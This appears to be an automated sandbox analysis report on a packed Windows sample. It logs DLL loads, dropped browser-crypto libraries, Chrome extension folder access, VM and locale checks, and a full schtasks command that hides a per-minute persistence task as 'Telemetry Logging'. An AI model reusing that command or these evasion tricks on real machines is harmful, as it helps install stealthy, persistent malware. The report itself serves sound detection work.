Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\HJJDGHCBGD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\HJJDGHCBGD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\HJJDGHCBGD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\HJJDGHCBGD.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2401574869.000000006C50F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: AVP.pdb source: file.exe
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2401574869.000000006C50F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\ProgramData\HJJDGHCBGD.exe	Unpacked PE file: 8.2.HJJDGHCBGD.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 11.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

.NET source code contains method to dynamically call methods (often used by packers)

Source: file.exe, wfuiQLTtHXbQiC1ZxG.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: HJJDGHCBGD.exe.2.dr	Static PE information: section name: .MPRESS1
Source: HJJDGHCBGD.exe.2.dr	Static PE information: section name: .MPRESS2
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: l2[1].exe.2.dr	Static PE information: section name: .MPRESS1
Source: l2[1].exe.2.dr	Static PE information: section name: .MPRESS2
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: oobeldr.exe.8.dr	Static PE information: section name: .MPRESS1
Source: oobeldr.exe.8.dr	Static PE information: section name: .MPRESS2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041A9F5 push ecx; ret	2_2_0041AA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C30B536 push ecx; ret	2_2_6C30B549
Source: C:\ProgramData\HJJDGHCBGD.exe	Code function: 8_2_006D50A5 push ebp; ret	8_2_00721C57

Source: file.exe

Static PE information: section name: .text entropy: 7.733812863753211

Source: file.exe, wfuiQLTtHXbQiC1ZxG.cs	High entropy of concatenated method names: 'M2UDtyVrB4', 'nW4lBacjpc', 'ldwDMxp3s1', 'SeWDGHE40v', 'IV0D8cSr66', 'j7TDmKVqJk', 'mq77Ie4Qrw', 'OU0yNb2MH', 'itJFM6TK5', 'qjVEXynix'
Source: file.exe, pRAp96D6PD3IeVWYk87.cs	High entropy of concatenated method names: 'B4EDhvACmn', 'HvjD1fmugy', 'TTmDHarqx6', 'nc2DQ9r9u7', 'GAfDL9uTDN', 'VbRDlWmAIH', 'PNXDCxlR20', 'lLCD3opisD', 'XZ5DKOHdt1', 'TiYDrpIhkA'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\ProgramData\HJJDGHCBGD.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\HJJDGHCBGD.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\HJJDGHCBGD.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\ProgramData\HJJDGHCBGD.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_2-78979

Switches to a custom stack to bypass stack traces

Source: C:\ProgramData\HJJDGHCBGD.exe	API/Special instruction interceptor: Address: 5DAFBF
Source: C:\ProgramData\HJJDGHCBGD.exe	API/Special instruction interceptor: Address: 761C29
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	API/Special instruction interceptor: Address: 5DAFBF
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	API/Special instruction interceptor: Address: 761C29

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2B80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 4D50000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.0 %

Source: C:\Users\user\Desktop\file.exe TID: 7484	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 7180	Thread sleep count: 250 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 7180	Thread sleep time: -56250s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	2_2_004133C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	2_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040EB60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00401160 GetSystemInfo,ExitProcess,

2_2_00401160

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

